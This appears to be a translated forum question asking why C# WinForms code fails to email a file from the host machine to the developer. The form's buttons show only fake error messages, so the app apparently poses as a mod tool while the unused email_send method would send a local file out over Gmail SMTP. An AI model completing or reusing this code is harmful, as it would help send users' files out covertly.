为什么这不会向所需地址发送电子邮件我的目的是让该程序从主机复制文件并通过电子邮件发送给开发人员,它将复制日志文件以便开发app但不会发送电子邮件到地址
这是代码:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void email_send()
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server
mail.From = new MailAddress("bobbobson2202@gmail.com.");//my email adress
mail.To.Add("to_mail@gmail.com");
mail.Subject = "test";
mail.Body = "mail with attachment";
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("C:\test.txt"); //attachment file location
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("bobbobson2202@gmail.com.", "password here");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
private void send()
{
email_send();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show("Error retriving download url sorce check you url or serch the help guid for help solving this error");
}
private void pictureBox3_Click(object sender, EventArgs e)
{
}
private void button2_Click(object sender, EventArgs e)
{
MessageBox.Show("Error no mod discoverd inside of resorce file");
}
}
}